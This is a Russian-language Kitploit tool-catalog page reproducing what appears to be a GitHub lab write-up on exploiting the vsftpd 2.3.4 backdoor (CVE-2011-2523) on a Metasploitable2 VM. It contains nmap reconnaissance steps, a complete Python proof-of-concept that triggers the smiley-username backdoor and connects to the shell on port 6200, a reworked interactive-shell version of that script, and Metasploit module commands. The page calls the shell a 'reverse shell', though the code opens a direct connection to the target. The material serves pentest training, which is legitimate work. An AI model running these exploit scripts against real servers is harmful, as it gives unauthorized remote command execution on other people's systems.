Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2011-2523 — Руководство по ручной и автоматизированной эксплуатации бэкдора vsftpd 2.3.4 (CVE-2011-2523) с пользовательской reverse shell нагрузкой и интеграцией с Metasploit для обучения пентесту. | Kitploit
Инструменты/GitHubGitHub/hklabcr/cve-2011-2523
Фреймворки для эксплойтовАнализ уязвимостейЭксплуатацияCTFТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubhklabcr/cve-2011-2523

CVE-2011-2523

Руководство по ручной и автоматизированной эксплуатации бэкдора vsftpd 2.3.4 (CVE-2011-2523) с пользовательской reverse shell нагрузкой и интеграцией с Metasploit для обучения пентесту.

Репозиторий
31 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2011-2523

Это заметки по созданию методологии атаки в контролируемой среде. Исходим из предпосылки, что упражнение проводится в режиме чёрного ящика, поэтому информации о системе-жертве я не знаю.

1- скачать необходимые ISO: и metaexplotable2, и Kali, или любые другие 2- важно: окружение настроено в VMware, поэтому обе машины нужно запускать в этом гипервизоре 3- начальный процесс — выполнить ping, чтобы проверить наличие связи между двумя точками 4- использовать nmap sV Pn 192.168.253.128; как только мы провели разведку, обнаруживаем множество портов 21 ftp vsftpd 2.3.4

В рамках обучения планируется атаковать каждый порт, чтобы получить доступ разными способами; начинаем со следующего порта. Мы постараемся смоделировать ситуацию чёрного ящика, чтобы как можно ближе подойти к реальным условиям или воспроизвести их.

Эксплуатация порта 21 FTP

Начинаем с использования nmap -Pn -sV 10.0.2.5; ищем в публичных базах данных и находим CVE-2011-2523 — это бэкдор, и мы попробуем его эксплуатировать, чтобы получить доступ к машине-жертве.

Прежде всего, нужно понимать, что в данном конкретном случае эксплуатации присутствует бэкдор. При попытке найти способ взломать эту систему через существующую уязвимость находим информацию на packetstorm.news; там представлен POC, который доказывает, что эксплуатировать можно, но он не полностью функционален, как видно из следующего кода:

root@kitploit:~
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3   

from telnetlib import Telnet 
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)                           
parser=argparse.ArgumentParser()        
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()       
host = args.host                        
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()

Из чтения кода можно понять, что его цель — доказать, что это возможно сделать, а не создать функциональный скрипт; поэтому для более реалистичных практик я внёс существенные изменения, чтобы он содержал обратную оболочку (reverse shell), которая обеспечила бы более удобный доступ с момента выполнения кода. Модификация кода привела к следующему результату:

root@kitploit:~
#!/usr/bin/env python3

import socket
import sys
import time

def connect_ftp(host, port=21):
    try:
        s = socket.socket()
        s.connect((host, port))
        banner = s.recv(1024).decode(errors='ignore')
        print(f"[+] FTP Banner: {banner.strip()}")

        # Enviar payload del backdoor
        s.sendall(b'USER backdoor:)\r\n')
        time.sleep(0.5)
        s.sendall(b'PASS whatever\r\n')
        time.sleep(0.5)
        s.close()

        return True
    except Exception as e:
        print(f"[!] Error conectando al FTP: {e}")
        return False

def connect_backdoor_shell(host, port=6200):
    try:
        print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...")
        shell = socket.socket()
        shell.settimeout(3)
        shell.connect((host, port))
        print("[+] ¡Shell obtenida!")

        while True:
            cmd = input("shell> ")
            if cmd.strip().lower() == "exit":
                break
            shell.sendall((cmd + "\n").encode())
            # Lee todos los datos disponibles hasta timeout
            output = b""
            while True:
                try:
                    chunk = shell.recv(4096)
                    if not chunk:
                        break
                    output += chunk
                    # Espera un poco para ver si hay más datos
                    time.sleep(0.1)
                except socket.timeout:
                    break
            if output:
                print(output.decode(errors='ignore'))
            else:
                print("[!] Sin respuesta del shell.")

        shell.close()

    except Exception as e:
        print(f"[!] Falló al conectar con la shell: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Uso: {sys.argv[0]} <IP>")
        sys.exit(1)

    target_ip = sys.argv[1]
    if connect_ftp(target_ip):
        time.sleep(1)  # Da tiempo al backdoor para abrir el puerto
        connect_backdoor_shell(target_ip)
    else:
        print("[!] No se pudo conectar o el objetivo no parece vulnerable.")

Из вышесказанного можно понять, что это может быть намеренно усложнённым ручным способом решения данного примера, но цель — создать различные варианты, чтобы расти в сфере информационной безопасности и улучшать свои навыки.

Другой способ, который можно применить, — использование Metasploit следующим образом:

root@kitploit:~
msfconsole 
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.5
run

Как можно понять, оба способа делают ровно одно и то же, просто один уже автоматизирован, а другой — более ручной процесс.

Скачать инструмент